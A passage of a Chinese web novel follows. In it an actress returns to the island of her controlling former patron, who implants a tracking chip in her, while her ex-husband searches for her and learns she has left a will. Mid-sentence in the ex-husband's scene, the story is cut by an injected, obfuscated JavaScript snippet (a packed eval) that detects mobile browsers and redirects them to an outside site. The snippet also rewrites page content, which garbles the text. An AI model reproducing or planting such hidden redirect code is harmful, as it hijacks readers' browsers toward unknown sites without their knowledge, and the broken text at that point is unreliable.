一看才发现,早在两个月前,小网站以血腥暴力为由把她的书封掉了。 她盯着红色的站内短信警告看了一会儿,没有申诉,直接申请了删除作品。 故事停在这里也是个不错的结局,她想。 就让他永远都觉得我很厉害,或者,觉得我很坏。 她要钱,要陪伴,要一起实现做演员的梦想,叶平川全都给她了,所以向她索取等份的爱。 这很公平,但是她拿不出足够的爱回报。她只有一点点。 她知道自己有一点点。 就在傅谦明第一次出现在剧组时,她预感不详,第一反应是想着怎么把叶平川摘出去,而非捡起来继续利用时,就知道了。 可是这一点点的爱改变不了什么。叶平川出现得太晚,无法在她生命的里占据很重的比例。和他在一起的时间不够长,也不够刻骨铭心,只是很…… 温暖。 叶平川的温度来自于他生命的底色,花好月圆的家庭是他的重要组成部分。她没有出生和成长在那样的家庭里,注定无法融入。 更何况,如果因为她把那部分搅乱,叶平川也就不再是叶平川。 很残忍。 她主动离叶平川远点,就算是够爱他了。 飞机里有各式各样的烈酒,足够她在近十个小时的航行里喝到熟醉。她和叶平川的感情也像是这十个小时里浓缩的梦幻。 她的起点不是他,终点也不是他。只是在半路出逃的人生里经历了一段风景,等到梦醒,就又回到原本的轨道上去。 早餐完全没胃口吃,幸亏这里没人会再唠唠叨叨,半哄半劝地让她好好吃饭。她吐了两次才彻底清醒过来,从舷窗望出去,景色从繁华都市变成了蔚蓝的大海。 到码头换乘水飞,热带岛屿的高温扑面而来,焦灼人心。水波反射着强烈的阳光,盯久了,她被大面积的玻璃海晃得有些眼晕。 傅谦明亲自在码头接她,笑着打趣,“怎么,太久没回来,有些恍惚?” 他穿着这里常见的度假衬衫和亚麻短裤,人到中年仍保持着不错的身材,以至于这样随性的打扮也显出几分风度,墨镜下是一张温和敦厚的笑脸。 “好大的太阳。”她抬手遮光,有些娇气地抱怨,“在飞机上忘记提前擦防晒了……国内现在还是冬天呢。” 傅谦明朝她身后看了一眼,“没有带行李?” 黑K摊了摊手。 “回家还带什么行李?”她理所当然道,“我需要的一切这里都有。” “这话倒是很对。”傅谦明绅士地弯起手肘朝向她,看她自然地挽上来,笑意愈深。 “Weehome。” 50. 第 50 章 去餐厅的路上风景全变了样。很多地方不知是改建过还是记忆久远变得模糊,云灯坐在接驳车里打哈欠,打量四周的同时,也在被傅谦明观察。 傅谦明笑着抚她的后背,“很久没有回来了,五年?还是六年?岛上增加了许多有趣的建筑,可以叫人陪你逛逛。等Flora回来,叫她陪你?不过她今天会晚些到,你们明天才能一起玩喽。” “我以为飞机会落在港市家里。”云灯顺势依偎过去,懒懒地靠着他,“今年除夕要在这儿过么?可是维港的跨年烟火很漂亮,我也很多年没有看过了。” “如果你喜欢,这里也可以有漂亮的烟火,sweetheart。”傅谦明亲昵地吻她的额头,“但你要知道,在整座岛屿上,你才是最美丽的存在。” “Nono,”云灯摇着手指纠正,“你应该说,是整个世界上。” 他爽朗大笑,“的确如此!是我的失误。” “我们的朋友比以往更加喜爱这座wonderland,总是一有空就要来度假放松,接待他们让我有些苦恼。老朋友们时常会念起你呢,还有新朋友,我想你会愿意认识他们。哦,我太开心你回家了,大约……一年前?当我得知你离婚时,就一直在期待。” 傅谦明温柔地说,“接受你的离开,对我来说始终都是一件残忍的事。虽然知道你玩够了就会回来,但天知道那要多久呢?我欣慰你的勇敢,可也十分想念你的陪伴。” 早在叶平川的资料第一次放上他的办公桌时,他就知道,云灯不会跟那个可怜的孩子周旋很久。 她是生来就充满动荡的灵魂,是贪婪的,不易被满足的,所以才对外界所谓的“自由天地”产生好奇。然而当她亲自探索过,就会发现,那里并没有什么值得留恋的东西。在最开始,她就已经得到了最好的。 他对云灯有无与伦比的爱意,了解她的灵魂如同了解自身,才甘愿付诸耐心,等待这只燕子归巢。 尽管等待的时间比想象中更久一些,他不得已用了小手段,催催她回家,“daddy总是担心你,会被外面的坏小子伤到心呢。” “我会被伤到?”云灯不以为然地大笑,又朝他俏皮地眨了眨眼,“我可是你亲自教出来的。你应该担心的是我伤到的人太多,要怎么给我擦屁股。” 她的语气和旧日无异,来到这里的态度也一如既往的放松,让傅谦明很是愉悦欣慰,“That’smygirl。” 他说,“好好看看这座岛吧,宝贝。未来这里的一切都将属于你。” 接驳车驶入重金打造的奢华花园。云灯依言望去,隔着花花草草和重重树影,大片清凉蔚蓝的海水和平缓细腻的白色沙滩在视野中无边地蔓延,如同世外桃源。 那晚在机场,傅谦明邀请她上私人飞机,给她开出了不可思议的筹码,邀她回家。 傅谦明希望把半生积攒的人脉逐渐交给她,直到她完全掌握,这座度假岛就将由她拥有。 他身边没有可以信任的亲眷,也没有培养出满意的继承人,到了要退休的年纪,第一个想到的人居然还是她。 云灯怀疑他生殖能力有问题,所以这么多年都无法拥有血脉相连的孩子。但更有可能的是,他这所有说辞,都是在画一张巨大的饼。 她不会傻到相信这副深情款款的模样。想要认曾经的情人当女儿,也不是什么正常人能干得出的事。 但诚然,她脚下是一座价值无法估量的宝藏。 靠近餐厅,云灯看到有不少人进进出出,住在附近居民岛上的土著正在运送最新鲜的当地食材,“今晚有舞会?” “是的。但这只是一次日常娱乐,别担心,我会另找时间为你举办舞会,你会是绝对的主角。”傅谦明气定神闲道,“我绝不会让你的回归礼仓促或平淡。” 云灯哼了一声,勉强满意,“晚上我还是可以溜进去玩的吧?” “当然。在自己家里,有哪里是你不能去的地方呢?” “那我吃过饭要先补个觉,飞机上睡得一点都不舒服,睡醒去做个按摩,好不容易拍完戏,可以再做个新美甲。”她自如地安排好休息的项目,有些迫不及待地下车,“我肚子饿了,在飞机上点过餐。现在可以吃到吧?” “当然可以。”傅谦明牵起她的手,轻轻一吻,“一切都随你心意。” 一路上所有人都看着,他对待这个中国女孩像对公主一样宠爱。云灯理所当然地接受他的殷勤,任由旁人猜测她的身份。 黑K说得对。下飞机以来,除了傅谦明,她没有看到一张熟悉的面孔,没有听到过一句中文。这座岛上的人恐怕已经被换了一遍,更不要说往日与她私交较好的那些。 整座岛上,没有任何人能为她所用。没有任何人会站在她这一边。 云灯款款落座,面前放着一只精致的餐盘。 在傅谦明的注视中,她揭开餐盘盖,里面却并没有盛放食物,而是一颗微型胶囊。 “这是什么?”她看到胶囊里闪动着微弱的 光。 “是我们的朋友研发出的有趣东西,里面有定位芯片,信号覆盖了整座岛。植入它,离开这座岛只要超过一海里就会触发警报。” 他温柔地解释,“放心,已经有许多人试验过了,对身体无害。你知道的,我总是很担心你的安危。” “……” 像他这种人,表面上态度装得再怎么亲密无间,骨子里根本不会相信任何人。云灯看着那颗胶囊,脸上表情有点不高兴,“会很痛吗?” “会有一点点,但只需要一周。等下周回到港市,就不再需要这个小东西了。”傅谦明看着她的脸色,宠溺道,“到时候我们一起去逛逛,再挑些你喜欢的东西,补偿你好不好?” “那我要买新跑车,还要你找原来的团队帮我设计改装。” “没问题。” 云灯这才抬眼,“要植入哪里?” “皮下组织,植入手臂就好,像打疫苗一样。”医护员迅速走上来,手上端着的托盘里是备好的工具,“很快就能完成,您不要紧张。” “好啊。但我晚上还要出去玩,总不能露着伤口吧。” 她起身撩开裙摆,一只脚踩在椅子上,露出白生生的大腿,“植入这里好了。” 轻薄的纱裙挡不住漂亮的臀线,餐厅里的侍者见状都自觉地转身避开。傅谦明盯着她露出笑意,微微颔首,“就听她的。” 消毒麻醉,划开皮肤,植入定位芯片,一整套流程在几分钟内完成。她瞥了一眼,切口不过一厘米,没有多少出血。 仅仅是皮肤上多了个米粒大小的鼓包,她便被套上项圈。如此隐秘,又理所当然。 她放下裙摆,重新落座,“现在我可以吃午饭了吗?” 厨师端走面前的餐盘,换上了真正的食物。的确是她要求的肠粉,已经淋好了酱汁,还贴心地切分成小段。她拿起餐叉尝了一块。 难吃得要命。 云灯垂眼看着餐盘里的碎肉,“不是以前的味道了。” “不合胃口?”傅谦明笑着说,“回港之后,我亲自陪你去喜欢的店里吃。” 他总是这样,仿佛她提出的任何愿望都能满足。前提是,她先把他的要求完成。 配合植入定位芯片的行为得到了傅谦明的夸赞,但仅凭这样,不能完全打消他的疑虑。 她知道傅谦明在观察她的表现,傅谦明也知道她知道。 如此循环的怪圈下,没有真正的信任可言。 傅谦明恰恰欣赏她这点。 云灯和他很像,又得到过他的教导,即便分开多年,身上仍旧带着他的影子。像到他有些后悔最初见到她,只当作情妇培养。 如果他有个这样的女儿,悉心栽培,能带给他的收益恐怕远不止如今这些。 云灯随便吃了几口填饱肚子,叫佣人引路,到卧房休息。 她的房间内饰和记忆中相比没有什么变化,可位置却变了。佣人说这栋洋房翻新重建过,傅先生下令将她卧室里的一切都打包保存好,房子建好又原样布置回来。 傅谦明非常肯定,她一定会回来。 她把自己撂倒在松软的大床上,枕头传来薰衣草的香味。佣人临走前,还给她倒了酒助眠。 她趴在床头一饮而尽,松开手,任凭玻璃杯掉进地毯,翻身疲惫地闭上眼。 二十四小时前她还躺在酒店的被子里,没有海潮声,也没有优质的埃及棉床单,可也远比现在睡得安心。 动荡的精神世界里,云灯一直听到有稚嫩的声音,在她耳边重复诉说。 你应该到外面去。去看天高海阔。 这里和国内隔着三四个小时的时差。等她再睡醒,手机里叶平川的消息才姗姗来迟。 以她平时的作息,叶平川估摸她昨晚不会睡得很早,这会儿应该刚醒,卡着点订了她爱吃的餐厅,叫外卖送餐过去。 再过一时半刻,外卖员就会发现她家里没人。紧接着,叶平川也会发现。 她盯着屏幕上那两句消息看了又看,没有回复,倒是发现了自己给他的备注还是谢凭渊。从他进组就没变过。 这样就能把拍戏产生的情感依赖,理所应当地推到角色身上。她多有先见之明。 叶平川发现她凭空消失,会有什么样的反应? 云灯没有放任自己想下去,删掉了他的微信,起床冲澡换了条裙子。 大腿外侧的切口被水流冲刷,一阵阵涩疼。按摩和美甲都没心情做了,她拒绝门口佣人的带路,独自去楼下的家庭影院。 这栋楼是傅谦明和她在岛上的居所,虽然重建过,每个房间的面积都扩大了一倍,但排布位置和先前没有差别。 如果她没猜错,傅谦明的特殊收藏仍旧放在影音室里。 她推开沉重的隔音门,发现银幕上闪动着画面,神情微怔。 没想到有人在。 傅谦明坐在沙发上,不悦地朝门口望过来。他怀里半拥着的女孩抬起头,露出一张熟悉的小脸,只是对视时多了些不知名的惊惶。 云灯难免讶异,心底发沉。 申雪舒杀青后她们就没再见过,甚至都没怎么发消息联络。 原以为没有消息就是一切正常,出了事她自会求救。可现在看来,令她不敢求救的状况也有得是。 “睡醒了?”傅谦明自然地拍了拍另一边的座位,大有左拥右抱的架势。 云灯冷冷地站在原地,只一瞬间就想好了立场。 “她为什么还在这里?” ** 叶平川真没想到,一个“临时聚聚”的午餐会也会来这么多人。 昨天下飞机就直接奔赴的家族晚宴已经耗尽了他的假笑份额。今天的他走高冷路线,非必要不攀谈,专往犄角旮旯的地方躲。 好在许多人前一晚都和他见过也寒暄过,礼节到了就好,没有拽着他不肯放的。 他躲到阳台上透气,心烦意乱地拽松了领带,皱着眉拿出手机查看。 有人走过,只能看到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738424|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半倚栏杆的侧影。这位“家主至交的神秘远亲”正一脸高深莫测地盯着手机屏幕,时不时滑动两下,不知在密谋些什么家族大事。 实际上他是在给云灯点吃的。 他挑得非常用心,揣测云灯现在是否已经睡醒,还要玩多久手机才会下床洗漱,最有可能想吃的菜系是什么,皱褶的眉心不自觉地展平。 这是他今天从起床到现在,唯一可以放松的娱乐。 除了年长的叔伯,这里还有不少是他的同龄人,每一个都带着和气的笑脸,端着酒杯松弛随意。可仔细听,聊的不是能源就是地皮,项目一个接着一个。 叶平川心想,人丁太兴旺了也是麻烦。竞争这么激烈,还不如多几个只会吃喝玩乐的纨绔呢。 尽管不情愿,他还是把聚会中有意无意探听到的消息编辑成短信,发给叶鸣泽。还没过两分钟,有人用什么东西甩了一下他的后腰。 碰瓷呢?他转身,跟轮椅上的人对了视线,意外地挑眉,“诶,你不说今天不来了么。” 有人搬来一把椅子给他。叶平川就势坐下,毕竟垂眼看人不礼貌。 更何况,轮椅上坐着的是手握整个叶家命脉的人。 叶鸣泽收好刚刚甩他的珠串,一圈圈绕在苍白的手腕上,声音同面孔般清冷如冰,“闲下来了,就过来看看。” 叶平川评价:“皇帝出巡。” “……” “你又不是腿脚残疾,”叶平川有点无语,“整天坐轮椅干什么。” “懒得走路啊。”他说。 “哈,那很懒惰了。” 叶鸣泽蓦地笑起来,山巅之雪消融,落在眼底竟也有须臾的暖色。 这么大一个家里,只有叶平川会用这样的语气跟他说话。 “身体不好就少出来吹风。”叶平川不懂他,“你活得结实点,那些人不就不会再虎视眈眈地盯着你,盼你早死了么。” 小时候那场劫难虽然获救及时,到底还是让他落了弱不经风的病根。 “和我身体好坏有多大关系呢。”叶鸣泽淡淡地说,“从生下来,盼着我死的人就不止一两个。 叶平川抿了抿嘴唇,到底没多说什么,只是攥着手机叹气。 他想象不到同是一家人,为了争权夺利互相迫害的局面,要是在这种环境里生活,他现在指不定心理有多扭曲呢。没准儿叶鸣泽活成这样已经算好的了。 “今天见了几个女孩?”叶鸣泽问,“有没有中意的。” “丧心病狂啊。我有老婆了好么。”叶平川翻他一眼,“人家是来跟你相亲的好吧,怪不得你越来越不爱露面,把我推出来替你挡灾呢?” 叶鸣泽没跟他计较,轻飘飘道,“结了又离,折腾什么呢?” 他和云灯的事只要有心,并不难查到。 叶平川哼了一声,“我乐意呗。” 他结婚太早,连叶鸣泽也一度怀疑他是为了躲避家族内部安排的相亲,为了所谓的自由恋爱,才急着跟人凑一对。 虽然生在旁系,可他跟叶鸣泽关系密切,他的婚姻依然需要通过家族内部审核。 叶平川至今都不知道。当初云灯的身世过往被翻了个底儿掉,家族里主事的长辈全部投了反对票。 到最后,是叶鸣泽一人独裁,勒令不予干涉。 一方面是他认为叶平川这样轻率地踏入婚姻,注定走不长远——现实已得到验证。 另一方面,在家族的小辈里,他的确最喜欢叶平川的性格,时不时就会叫人去打听南江的新鲜事。 可惜叶平川不喜欢京市,每次召过来见面,都叫人幻视一只蔫头耷脑的大狗。否则有他在身边作伴,日子应当会过得更有趣些。 “需要我提醒你吗?那是你的前妻,不是现任。” 叶鸣泽委婉道,“上次的事也好,以后也罢,你没有义务对她负责。” “啧,”他不爽地说,“不是法定夫妻就不能负责了?就这觉悟,我看你还得再单身三年起步。” “……” “唉,你肯定不明白啊。” 叶平川有点惆怅,又有点同情地望着他,“因为你根本不敢放心地喜欢任何人,对吧。” 叶鸣泽的身边人不好做。离得近了会被怀疑用心,提防和猜忌最伤感情,离得远了更不必说,压根没办法培养出感情来。 在阴谋诡计里长大就是这样。假如寒夜里有女孩给他端一杯热茶,他的第一反应不是“好贴心好感动”,而是“这茶不干净有人想害我”。 完蛋。 叶平川忽然心跳加速。因为想到,如果是云灯给他的茶,他一定会喝。 就算茶看起来有问题,他也会觉得,她这么做一定有她的用意,先配合了再说。 他发觉不管云灯做出什么离奇的事,都不需要她解释,他自己就能给她找到理由。即使她闯出的祸再大,他也不可能放任不管。即使他要为此打破,违背过往生活的原则。 这一次是,下一次也是。 叶鸣泽就眼看着他毫无征兆地傻笑,仿佛恶疾发作,还给了自己胸口一拳,“唉我说你别太爱了。” “……” 叶鸣泽无奈地撇开眼,摩挲转动着腕上温润的珠玉,思索片刻,中肯道,“往后如何,还很难说。” 叶平川觉得他话里有话。 天色阴沉黯淡,似乎有一大片乌云压下来,压得空气发闷。 他又低头看了眼手机。 半个小时过去了,云灯依然没有回复他。 51. 第 51 章 居然在这儿都能遇到讨厌的人。午觉睡醒的好心情都被毁掉了,云灯的不爽清清楚楚写在脸上。 她没有要坐过去的意思,双手环胸靠在门口,睨着傅谦明,“你把她留在这儿,是打算让她给我当小妈么?” “……”他无奈地笑,“胡说什么呢。只是让她待到今晚的舞会结束而已,也有个正式的收场,不是么?” 申雪舒插不上话,但知道自己命运的翻覆或许就在这两人的谈话之间,视线来回挣扎,最终定格在云灯阴晴不定的脸上,露出恳求的神色。 “让她滚。”云灯平静地说。“否则我走。” 傅谦明叹了口气,看上去很有些头疼。 “大概我真的不该留下来。”申雪舒握了握他的手,轻声道,“很感谢您的好意,和这两年来的照顾……我不愿让您为难。” 云灯发出一声冷笑。 傅谦明原本另有考虑,没想到她会忽然发难,可看这样子,是拗不过她心意。 在她回来的第一天,因申雪舒而发生冲突是否值得——短暂权衡过后,他温和道,“出去收拾一下吧,到码头等着,晚些时候会有人带你离开。” “好的,谢谢您。”申雪舒没有一句多话,温顺地起身。路过云灯身边,也礼貌地招呼,“云灯老师再见。” 云灯斜身让开,没看她一眼,等人离开才径直走进来,“很舍不得?” 许久没见她这样吃醋的反应,傅谦明哈哈大笑,“听说你们在剧组相处得不错,我以为你是喜欢她的。” “是你教会我的,再讨厌的人也能笑脸相迎,直到从她身上得到所有我需要的为止。我是看在你的面子上,才什么都没有做,让她在我眼皮底下平安顺利地待到了杀青。” 云灯勉强肯坐在他身旁,抬眼望着面前的银幕,语气不善,“可现在我回来了,你身边不管什么身份的女人,都只能有我一个。” “真是霸道。” 傅谦明拥住她,仿佛乐在其中,“宝贝,你不用为任何人来试探自己在我心中的地位。要知道在我这里,你永远是最重要的。” “最好是真的。” “当然。” 银幕上一段空镜拍得很漂亮,也让人感到眼熟。几秒后女主角的脸出现,正是云灯。 这是电影《潮夜》中的片段。 “我以为你很讨厌这片子呢。”云灯说,“我还记得那时跟着剧组去跑了几场路演,你很不高兴。” 所以她的出道作在爆火几个月后戛然而止,已经确认参选的国际电影节名额忽然被取消,男主角也离奇死亡。独立探索的前程被斩断,傅谦明又变成了她唯一的出路。 “我只是不希望有太多人觊觎你的美丽。”他耸了耸肩,从未把那些人放在心上。“你总会给我带来一些意外。” “意外。”云灯轻轻咀嚼这两个字,“你之所以允许我去拍电影,就是觉得我不会做出成绩,对吧?你认为我只是有一张漂亮的脸,是个爱做明星梦的小女孩,但并没有成名的资质。” 就像他从前交过的许多个小女友一样。 傅谦明完全有理由意外。 他的判断在云灯身上被彻底推翻了。《潮夜》剧组上上下下都是很普通的班底,就连她几年后翻红,和叶平川主演的那部电影也是差不多的情况:刚毕业没多少经验的年轻导演,加十八线小编剧润色的剧本,拍摄成本也低。 可她就是能红。 一次还是可以说是凭运气,两次呢? 网上有不少言论都说,她天生就是会红的命格。连叶平川知名度暴涨初期也曾被她的粉丝围剿,说是和她搭戏才被带飞的。 “以前的事就不要再提了。”傅谦明循循善诱道,“我们都知道,你不是那种空有美貌的女孩。否则我又怎么会特意接你回来?” “好,那就说说以后。”云灯问,“你打算怎么跟别人介绍我,说我是你流落在外的私生女?还是你要收养我?可我的父母应该都还活着。” “这不是什么难事。他们抛弃你,不懂得珍惜你,还有什么资格活着?” “……” 电影画面忽闪,黑发少女亲手捅穿了霸凌者的胸膛,一双乌黑的眼眸冷彻心扉,在雨水淋漓的夜晚里染上血色。 “我的确怨恨他们。”云灯移开视线,“但从没想过要真的让他们死。” “你当然不需要亲手去做,一切交给我就好。”傅谦明亲昵地点了一下她的鼻尖,“你有时会过于仁慈。虽然这不是优点,但在你身上,我依然会觉得可爱。” “……” “我明白,这世界太不公平,有人天生就亲缘浅薄。但是没关系,宝贝,家人也是可以自己选择的。”他握了握云灯的肩膀,是温柔的安慰,也是提醒。 “从第一眼看到你,我就知道,我们才是同类。” 他也出生在一座贫困落后的小渔村,父母外出打工过世,自小就在亲眷的冷眼中混饭吃,动辄打骂,几乎活不下去。 可他拼命逃了出来,从小乞丐做到叠码仔,缺文凭补文凭,缺人脉就拉拢人脉,靠双手一步步挣到了今天。 他人生中唯一的遗憾,就是从未与任何人有过深层的情感联结。过了这么多年,他身边眼都不眨就敢给他挡刀挡枪的人,依然只有云灯一个。 爱他的女人当然有,聪明的女人他也见过不少。但又聪明,又敢爱他的人只有云灯一个。 “是啊。”云灯靠在他肩头,闭上眼,“你真的教会我很多了不起的事呢。” 人总是格外渴望自己无法拥有的东西。 真正有爱的人心里自有一眼泉水,清澈,天然。傅谦明和她,都是从便利店里买预制水,自己挖个洞倒进去还要编段故事哄人出高价的骗子。 难怪他会邀请她成为家人。 他们没有在影音室里待很久。傅谦明总是很忙,重要的好友来玩都需要他亲自招待。 云灯独自离开,去为晚上的舞会挑裙子。没想到申雪舒还在外面蹲她,“还不快走?” “谢谢你啊。”申雪舒就为了再跟她说句话。“我杀青那晚喝多了,一觉睡醒发现自己人在飞机上,想死的心都有了。” 她没想到自己提分手会那么顺利,总觉得傅谦明不会轻易地放走她。果然后面有阴招等着。 到了这座岛上,生杀予夺都得听他的。他是放手了,但晚上的舞会绝对再把她转手送给别人。后面她再被如何处置,自然就跟他无关。 来这里玩的人全都沾点变态,一旦被看上,她根本逃不脱。如果云灯没有出现,她只能跳进海里游走了。半路被鲨鱼吃掉也比留在这儿受辱强。 她当然知道,女人之间的争风吃醋反而能让傅谦明放心。还好在他看来,云灯的价值高多了,不值得因为她而起争执。 “但你为什么会来啊。”申雪舒不解道,“你不是跟叶平川……”和好了吗? 她还没说完,话被忽然打断。云灯手里的光盘啪地一声打在她嘴巴上。很不客气的力道。 这座岛所有屋檐底下都有监听,用于傅谦明收集权贵的情报与把柄。云灯扯着她往外走了一段,到开阔的地方才说话。 “你怎么还聪明一阵傻一阵的。” 虽然大概率还有人盯着,但起码这个距离,她们讲话的内容不会被听到。 “这是什么?”申雪舒翻转光盘,看到底部的小标签上写着她的英文名,顿时脸色一白。 “就当是送你的临别礼物。” 这张光盘里的内容,是她不敢轻易离开傅谦明的把柄之一。申雪舒心跳急速飙升,“可是……你不是说过,不该被这种东西恐吓住么?” “说归说,亲手毁掉不是更过瘾么?”云灯道,“不过我要提醒你,以他的性格,这东西很可能还有备份。” 她点点头,深呼吸双手用力,折断了光盘。 “我明白。这个就够了。” 即便无法永诀后患,至少算是从形式上解开了心结。就算以后真有一天,视频还是流出去了,被人攻击,她也会回忆起这一刻的脆响,告诉自己没什么好怕的。 “走吧,”云灯说,“我送你去码头。” 她有点受宠若惊,也不想再浪费时间去收拾什么行李。两人直接往码头走。 “那你什么时候回啊?年后吗?”她问云灯。“我们合同还没签呢。” 她认为云灯只是受邀来参加新年派对,想再从这里搞点资源。 虽然游走在傅谦明身边很危险,说不定什么时候就会翻车 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“叽里咕噜说什么呢,听不懂,赶紧上飞机吧。”云灯转身优雅地飞吻,“Laterbitch~” 最好这辈子都不要再回来。 ** 短短半分钟,叶平川在脑海里把最近两天自己的一言一行都过了一遍,确认跟云灯分开时还是情意绵绵,你侬我侬。 怎么忽然不回消息了呢。 他怀疑是还没睡醒,挑挑拣拣,又发了张小狗转圈的表情包过去。这次对面的反应特别迅速—— 系统显示要他发送好友验证。 叶平川一怔,不信邪地又把表情包发了一遍。反复被提醒认证。反复确认。 出大事了!他真的被云灯删了。 “你应该知道,家族庇护仅仅是为你的妻子提供的。”叶鸣泽还在孜孜不倦地教诲。 “你是可以保护她,为她负责,但不能要求家族也像你那么做。毕竟爱她的人是你,不是整个叶家。我的每一个决策落地之前,都会做足够的风险评估。你明白吗?” 叶平川根本没听进去,“叽里咕噜说什么呢,我要回趟南江。” “……” 他想不到最近发生了什么严重到自己会被删好友的事,火速叫助理订机票后打给梁天,询问云灯的个人行程。 或许是她有别的安排,大过年的又跑出去工作呢。 可梁天的回答更叫人出乎意料,“我已经离职了……叶老师。” 准确地说,是她被云灯开除了。但与此同时,云灯给她找到了下家公司,开出的各方面条件实在叫人心动,她没考虑几天就同意了。 叶平川心往下沉,“什么时候的事?” “杀青前就谈好了,我只跟到这个组结束,后面的行程我也不太清楚。”梁天为难道。 “那和你交接工作的人是谁?把新助理的联系方式告诉我吧。” “呃,其实,我没有跟任何人交接工作。就是直接离职了。” 这完全不合常理。 以云灯的性格,如果要解雇助理,必然在通知她以前就已经物色了接替的新人,否则太耽误工作。 除非是不想干了,叶平川想。但这猜测未免太过荒唐。好端端的人怎么可能…… 电光石火之间,云灯的声音在他脑袋里回荡。 ——如果以后不当演员了,你最想做什么? 叶鸣泽看着他脸色一变再变,不发一语。 “是这样的,情况紧急,”他试图表达事情的严重性,“我老婆疑似被肠粉绑架。” “……” 叶鸣泽捻着腕上的珠子,委婉地表达态度,“这里还有很多应酬需要你出面。” “啧,你让不让开?”叶平川直觉有糟糕的事情要发生,没耐心好好说话,“我踹你轮椅了啊。” “……” 叶鸣泽静静地看着他,审视的目光带着思量。 航班信息发送到手机,叶平川尽量调整语气,沉着下来,不让自己表现得像在耍性子,临时起意破坏后续的家宴。 “我必须得回去,就看一眼。”他说,“如果没事,大不了我半夜再飞回来,不会耽误明天的安排。” 52. 第 52 章 下飞机时天还没黑,叶平川直奔小区。原本没有和云灯一起他是连楼都上不去的,跟物业卖了个脸熟才进门。行李箱被她随手丢在门口。家里空无一人。 不只是没人,客厅里大件家具都盖着防尘布,卧室的床上也没有铺任何床品。地板上一层灰尘,踩过去都能看到鞋印。 显然说已经请阿姨打扫了是骗他的。她很久都没回来过了,也没打算再住这里。 路上叶平川已经把南江的朋友都联系了遍,没有一个说见过她的。更远的地方,和云灯关系亲密的朋友他只知道寥寥几个,打过去也是没结果。 就算云灯是想躲着他独自出去玩,最多不理会他,不至于要把他删掉这么决绝。就连两人离婚,他都没有被删掉这么严重。 一定是有很坏的情况发生。 高速运转的脑袋嗡嗡作响,叶平川想起分别时她表现得那么乖,无论他说什么都温柔地应允。他早就该发现异常,却只想着把事情快点处理完,好跟她一起度过即将到来的假期。 地上的脚印分布凌乱,有一道通往衣帽间,吸引了他的注意。他巡着足迹走进去,停在衣柜前,拉开柜门便看见里面堆着散落的衣物。 是她昨晚回来穿的那套。从里到外,她全部都脱在这儿了,可却没有穿走别的衣服,当季的衣架上没有一只是空的。 眼看他脸色越来越骇人,物业硬着头皮带他去值班室查看监控。一个大活人不可能平白消失,他们很快就在地下车库的监控录像里发现了云灯的身影。 就在他离开之后,不到半小时。她只穿了条单薄无比的黑色短裙,身边的男人像魁梧的保镖,护送她去赴一场温室里的舞会。 画面放大,叶平川认出那个男人,他在剧组酒店外见过。在一个飘着小雪的深夜。 是傅谦明的人。 她是去找傅谦明。 ……为什么?叶平川怔怔地想,是他做错了什么吗?是他追得太紧,才逼得她要跑向别的男人? 她辞退了贴身助理,和所有朋友断联,甚至把他删除,就像是下定决心再也不回来。 可她分明还答应了要跟他一起过年。 他筹划得好好的,踌躇满志,必定用这个难得的假期把她的心挽回来,牢牢地安在他身上。她怎么能就这样悄无声息地一走了之,甚至没有一句告别? 他自欺欺人地拉着进度条,反复看了数遍,试图从中找到她是被胁迫的证据。但云灯从头到尾都从容不迫,甚至还嫌车门开得太慢,踢了一下司机的小腿——那是她不耐烦时会有的动作。 他几乎可以脑补出云灯的声音。她会用娇嗔的语气催促,快一点好不好?我都要冷死了。 是很冷。 监控室里开足了暖气,他却在无声地结冰。 再过几天就是除夕了,年节氛围浓郁,南江大街上路灯都罩了大红灯笼,每到黄昏早早就点亮,深夜灯火长龙,明至天光。 原本该是很热闹的。 “还不去机场吗?”半晌没听到后面的人发话,司机终于忍不住问。 叶平川坐在车里,隔着半降的车窗看到视线模糊,疲倦地解开西装里的衬衫领口,“不回去了,没心情跟那帮人尔虞我诈。” 这种时候,就算叶鸣泽扛着轮椅冲过来砸他,他都懒得躲。翘个班更是不值一提。反正他往常也没少随心所欲,抗旨不尊。 司机是从家里跟过来的人,见状劝了他几句。他没说话,只感到厌烦。以至于当手机震动时,他下意识地以为也是京市那边的人来催,不愿多看一眼。 直到电话响到第三遍,他才发现,坚持不懈找他的人是姜渺。 她是云灯的好朋友,只在离婚时见过一面的律师,私下里从没和他联系过。 “不好意思刚刚在开会,你的消息我看到了,只是没办法立刻打给你。” 她开门见山道,“我昨天和今天都没有见过云灯,也没有跟她联系,刚才试着拨了一下她的号码,她手机关机了……你是为什么忽然要找她?发生什么了吗?” “我找不到她。更确切地说,她不希望我找到她。”叶平川笑了笑,苦涩又自嘲,“她可能……” 不会再回来了。 他抿直了嘴唇,终究没能说出口。 “上个月有一天,应该是云灯还在剧组拍戏的时候,她忽然来上海找我,还按照委托流程向我的律所约了时间。” 姜渺超乎寻常地冷静,似乎对当下的情况并不惊讶,“其实我最近都在想,是不是该找你聊一聊。” 这也是她主动打来电话的原因。她问叶平川,“你有空能来上海一趟吗?我这里有一份文件,需要你亲自确认。” “是她留下的?”叶平川皱眉,“什么文件?” “是的。” 姜渺说,“是一份遗嘱。” ** 炽烈的日轮沉入海平线,岛屿上装点起金碧辉煌的灯光。云灯穿过铺满手工地毯的长廊,抵达宴会舞厅之前,弯腰拉了一下裙摆。 高跟鞋绑带上的钉珠好几次挂住缀在裙边的蕾丝。她没什么耐心,直接扯断了蕾丝,又向门口的侍者借火,烧掉碍眼的勾线。 侍者戴着黑色的半脸面具,目不斜视,为她推开通往声色犬马的大门。 派对已开启多时,国际乐队不厌其烦地演奏圆舞曲,舞池里摇曳着陌生的人影,无论男女全部盛装,戴着形态各异的面具。 空气里弥漫着刺鼻的大/麻气味,无形无影地令人神经战栗。她下意识地屏了呼吸,从进门的托盘里拿起一只蝴蝶面具戴好,绕着人群走上旋梯,没有引起太多注意,站在二楼的角落里向下俯视。 片刻后,她的目光锁定在舞池里一个笨拙的身影上。 